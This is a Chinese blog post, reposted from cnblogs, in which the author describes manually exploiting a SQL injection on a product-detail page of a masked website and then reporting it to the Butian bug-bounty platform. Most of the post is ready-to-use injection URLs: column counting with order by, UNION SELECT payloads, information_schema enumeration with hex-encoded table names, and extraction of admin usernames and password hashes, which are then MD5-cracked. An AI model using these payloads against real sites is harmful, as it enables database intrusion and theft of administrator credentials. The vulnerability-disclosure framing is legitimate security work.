纯手工注入

开门见山


昨年提交补天的一个漏洞。扫到一个站存在SQL注入,放到阿D、明小子上猜解失败,欲放弃,突然打算试一下手工注入。

1. 验证是否可注入

http://www.xxx.com.cn/product-detail.php?pid=21’ 

 再用 and 1=1and 1=2验证

确定有注入

 

2. 猜字段

http://www.xxx.com.cn/product-detail.php?pid=21 order by 37  正常页面

http://www.xxx.com.cn/product-detail.php?pid=21 order by 38 报错页面

字段数为37

 

3. 暴出字段位置

http://www.xxx.com.cn/product-detail.php?pid=21 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37

 

4. 暴库和管理员信息

http://www.xxx.com.cn/product-detail.php?pid=21 UNION SELECT 1,2,3,4,5,6,7,8,user(),10,11,database(),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37

 

得到库名管理员信息 

5. 列当前库的表名

库名的十六进制编码   0x736565xxxxxx6E67

 

http://www.xxx.com.cn/product-detail.php?pid=21 union select 1,group_concat(table_name),3,4,5,6,7,8,user(),10,11,database(),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from information_schema.tables where table_schema=0x736565xxxxxx6E67

 

表名太多用审核元素列开查看

猜想 admin 或者 admin_login 可能是存放管理员账号与密码的表

 

6. 在第17个字段暴出admin_login表的字段

admin_login  十六进制编码     0x61646D696Exxxxxxxx696E

 

http://www.xxx.com.cn/product-detail.php?pid=21 union select 1,group_concat(table_name),3,4,5,6,7,8,user(),10,11,database(),13,14,15,16,group_concat(column_name),18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from information_schema.columns where table_name=0x61646D696Exxxxxxxx696E

 

字段   id,username,ip,ctime,id,ip,ctime,username

7. 再在第17个字段暴出admin表的字段

admin  十六进制编码    0x61646xxx6E

 

http://www.xxx.com.cn/product-detail.php?pid=21 union select 1,group_concat(table_name),3,4,5,6,7,8,user(),10,11,database(),13,14,15,16,group_concat(column_name),18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from information_schema.columns where table_name=0x61646xxx6E

审核元素列开查看

admin表的字段:id,username,password,ctime,logintime,loginsum,id,username,password,permission,ctime,logintime,loginsum

 

8. 暴出字段内容

0x3a 的十六进制是 : 用来分隔字段内容

 

http://www.xxx.com.cn/product-detail.php?pid=21 union select 1,2,3,4,5,6,7,8,user(),10,11,database(),13,14,15,group_concat(username,0x3a,password),17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from admin

 

得到字段内容,也就是管理员登录账号

使用MD5解密

9. 提交补天漏洞平台

 

 不到一周,得到厂商回复和肯定。


原文地址:https://www.cnblogs.com/joker-vip/p/12266881.html